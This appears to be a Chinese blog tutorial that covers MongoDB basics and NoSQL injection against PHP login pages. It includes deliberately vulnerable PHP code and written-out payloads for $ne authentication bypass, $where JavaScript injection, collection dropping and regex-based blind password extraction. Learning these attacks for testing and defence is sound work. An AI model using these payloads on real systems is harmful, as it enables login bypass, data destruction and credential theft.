• MONGODB 的基础 NOSQL注入基础


    首先来学习一下nosql

    这里安装就不进行介绍 只记录一下让自己了解mongodb

    1. ubuntu 安装后 进入 /usr/bin
    2. ./mongodb
    3. 即可进入
    4. 然后可通过 进入的url链接数据库

    基本操作

    1. show db
    2. show dbs
    3. show tables
    4. use 数据库名
    5. 插入数据
    6. db.admin.insert({json格式的数据})
    7. 例如
    8. db.admin.insert({'id':1,'name':admin,'passwd':admin123})
    9. 或者通过定义的方法
    10. canshu={'id':1,'name':admin,'passwd':admin123}
    11. db.admin.insert(canshu)
    12. 删除
    13. db.admin.remove()
    14. 更新
    15. db.admin.update({'name':'admin'},{$set{'id':1}})
    16. 前面是条件 后面是更新的内容

    然后我们现在需要来查看 nosql的符号

    条件操作符

    1. $gt : >
    2. $lt : <
    3. $gte: >=
    4. $lte: <=
    5. $ne : !=、<>
    6. $in : in
    7. $nin: not in
    8. $all: all
    9. $or:or
    10. $not: 反匹配(1.3.3及以上版本)
    11. 模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
    12. /**
    13. * : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
    14. * : $ne { "age" : { "$ne" : 23}}
    15. * : $lt { "age" : { "$lt" : 23}}
    16. */
    17. 解释
    18. $gt 大于
    19. $lte 小于等于
    20. $in 包含
    21. $nin 不包含
    22. $lt 小于
    23. $gte 大于等于
    24. $ne 不等于
    25. $eq 等于
    26. $and
    27. $nor $nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档
    28. $not 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
    29. $or

     知道这五个其实就OK了

    SQL注入

    因为这里传入的都是json格式的文件

    所以首先我们来搭建一个查询网站

    1. $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb"); //修改url
    2. $username = $_POST['username']; //修改集合字段
    3. $password = $_POST['password'];
    4. $query = new MongoDB\Driver\Query(['name' => $username, 'password' => $password]);
    5. $result = $manager->executeQuery('test.admin', $query)->toArray();
    6. $count = count($result);
    7. $queryString = json_encode($result);
    8. echo '查询结果: ' . $queryString . '
      '
      ;
    9. if ($count > 0) {
    10. foreach ($result as $user) {
    11. $user = (array)$user;
    12. echo $user;
    13. echo '====Login Success====
      '
      ;
    14. echo 'username: ' . $user['name'] . '
      '
      ; //修改集合字段
    15. echo 'password: ' . $user['password'] . '
      '
      ;
    16. }
    17. } else {
    18. echo 'Login Failed';
    19. }

     测试后是ok的 那么这里我们如何注入呢

    我们首先要知道传入的语句是什么呢

    'name' => $username, 'password' => $password

     其实是这个

    我们构思一下 如果我们传入一个

    永真注入

    1. username[$ne]=1&password[$ne]=1
    2. [$ne] 为 !=
    3. 那么这里传入的语句是什么呢
    4. 'name' => array('$ne'=> 1), 'password' => array('$ne'=>1)
    5. mongodb 的查询语句 就变为了
    6. db.admin.find({'username':{$ne:1}, 'password':{$ne:1}})
    7. 只要username和password !=0 就都查询出来

     

    这里其实是PHP特性导致的

    1. value = 1
    2. 传入的参数就是 1
    3. value[$ne]
    4. 传入的参数就是 array([$ne]=>1)

     联合注入  (过时)

    这里其实也是设计者的错误

    我们将 查询语句

    1. name => $username,password => $passwd
    2. 修改为
    3. "{ username: '" + $username + "', password: '" + $password + "' }"
    4. 变成拼接模式

     当我们正常输入的时候

    1. {username : admin,password: admin123}
    2. 查询语句就是
    3. db.admin.find({username : 'admin',password: 'admin123'})
    4. 但是我们如果不正常查询呢
    5. 我们传入
    6. username = admin', $or: [ {}, {'a': 'a
    7. password = ' }]
    8. 最后获取到的数据是什么呢
    9. db.admin.find({ name: 'admin', $or: [ {}, {'a':'a', password: '' }]})

    实现了查询注入

    但是这个方法现在可能都无法使用 ,现在的开发都必须要传入一个数组或者Qurey对象

    JavaScript注入

    mongodb支持JavaScript的脚本辅助

    这里要提及mongodb的关键词 $where

    $where关键词

    在MONGODB中 支持使用 $where关键词进行javascrip执行

    db.admin.find({ $where: "function(){return(this.name == 'admin')}" })

    这是一个简单的利用 执行函数返回用户名的数据

     但是在例如直接传参的时候 就会造成注入

    1. db.admin.find({ $where: "function(){return(this.name == $userData" })
    2. db.admin.find({ $where: "function(){return(this.name =='a'; sleep(5000))}" })

     这里就可以查询到不该查询的内容 和 盲注

    我们也测试一下

    1. $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
    2. $username = $_POST['username'];
    3. $password = $_POST['password'];
    4. $function = "function() {
    5. var name = '".$username."';
    6. var password = '".$password."';
    7. if(name == 'admin' && password == 'admin123'){
    8. return true;
    9. }else{
    10. return false;
    11. }
    12. }";
    13. $query = new MongoDB\Driver\Query(['$where' => $function]);
    14. $result = $manager->executeQuery('test.admin', $query)->toArray();
    15. $count = count($result);
    16. if ($count > 0) {
    17. foreach ($result as $user) {
    18. $user = (array)$user;
    19. echo '====Login Success====
      '
      ;
    20. echo 'username: '.$user['name']."
      "
      ;
    21. echo 'password: '.$user['password']."
      "
      ;
    22. }
    23. } else {
    24. echo 'Login Failed';
    25. }
    26. ?>

     我们正常传输入

    java脚本是

    1. function() {
    2. var name = 'admin';
    3. var password = 'admin123';
    4. if(name == 'admin' && password == 'admin123'){
    5. return true;
    6. }else{
    7. return false;
    8. }
    9. }
    10. 然后进入数据库
    11. db.admin.find({$where:function() {
    12. var name = 'admin';
    13. var password = 'admin123';
    14. if(name == 'admin' && password == 'admin123'){
    15. return true;
    16. }else{
    17. return false;
    18. }
    19. }
    20. })

    那么这里我们使用注入呢

    我们构造万能钥匙

    1. username=1&password=1';return true;var a='1
    2. username=1&password=1';return true//
    3. 进入javascrip为
    4. $function = "function() {
    5. var name = '1';
    6. var password = '1';return true;var a='1';
    7. if(name == 'admin' && password == 'admin123'){
    8. return true;
    9. }else{
    10. return false;
    11. }
    12. }";
    13. 美化后
    14. $function = "function() {
    15. var name = '1';
    16. var password = '1';
    17. return true;
    18. var a='1';
    19. if(name == 'admin' && password == 'admin123'){
    20. return true;
    21. }else{
    22. return false;
    23. }
    24. }";
    25. 这里可以发现 直接return ture 所以绕过了下面的判断

     

    comment方法造成注入

    这里的内容其实是被php官方制止的 因为很容易造成漏洞

    但是如果工作量很大 难免有人选择

    1. $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
    2. $username = $_POST['username'];
    3. $filter = ['name' => $username];
    4. $query = new MongoDB\Driver\Query($filter);
    5. $result = $manager->executeQuery('test.admin', $query)->toArray();
    6. $count = count($result);
    7. if ($count > 0) {
    8. foreach ($result as $user) {
    9. $user = (array)$user;
    10. echo '====Login Success====
      '
      ;
    11. echo 'username: ' . $user['name'] . '
      '
      ;
    12. echo 'password: ' . $user['password'] . '
      '
      ;
    13. }
    14. } else {
    15. echo 'Login Failed';
    16. }
    17. ?>

     这个时候 其实我们就已经是shell的权限了 我们可以开始操作数据库

    但是本地是最新的mongodb

    所以出现报错

    1. Fatal error: Uncaught MongoDB\Driver\Exception\CommandException: no such command: 'eval' in C:\Users\Administrator\Desktop\CTFcode\dir.php:9 Stack trace: #0 C:\Users\Administrator\Desktop\CTFcode\dir.php(9): MongoDB\Driver\Manager->executeCommand('admin', Object(MongoDB\Driver\Command)) #1 {main} thrown in C:\Users\Administrator\Desktop\CTFcode\dir.php on line 9

    但是我们看payload其实就ok了

    1. username=1'});db.users.drop();db.user.find({'username':'1
    2. username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

     我们发现其实就是通过闭合 然后就可以执行命令了

    布尔注入

    1. $manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
    2. $username = $_POST['username'];
    3. $password = $_POST['password'];
    4. $query = new MongoDB\Driver\Query([
    5. 'name' => $username,
    6. 'password' => $password
    7. ]);
    8. $result = $manager->executeQuery('test.admin', $query)->toArray();
    9. $count = count($result);
    10. if ($count > 0) {
    11. foreach ($result as $user) {
    12. $user = (array)$user;
    13. echo '==== Login Success ====
      '
      ;
    14. echo 'Username: ' . $user['name'] . '
      '
      ;
    15. echo 'Password: ' . $user['password'] . '
      '
      ;
    16. }
    17. } else {
    18. echo 'Login Failed';
    19. }
    20. ?>

    首先我们在已知账号的情况下可以

    password[$regex]=.{6}

     通过正则匹配来获取

    具体传入内容是

    1. {
    2. 'name':'admin',
    3. 'password':array([$regex]=>'.{6}')
    4. }
    5. 这里是匹配任意6个字符
    6. 进入数据库后是
    7. db.admin.find({'name':'admin','password':{$regex:'.{6}'}})

     

     发现实现了访问

    发现超过了就没有回显了 所以这里可以拿来测试密码长度

    我们要获取数字 其实就可以通过正则表达式来

    1. db.admin.find({'name':'admin','password':{$regex:'^a'}})
    2. db.admin.find({'name':'admin','password':{$regex:'^ad'}})

     

    这里 基本的nosql注入 就实现了

  • 相关阅读:
    训练营第二十九天贪心(简单题目)
    人工智能、深度学习、机器学习常见面试题101~120
    Tomcat 安装与配置
    【Java】遨游在多线程的知识体系中(一)
    React学习总结
    【Big Data】解决Hive查询出现Java.lang.OutMemoryError.java heap space
    Zookeeper选举Leader源码剖析(二)
    2022.08.03_每日一题
    【毕业设计】基于java+SSH+jsp的网上体育商城设计与实现(毕业论文+程序源码)——网上体育商城
    Web前端:如何提高React原生应用性能
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/134548592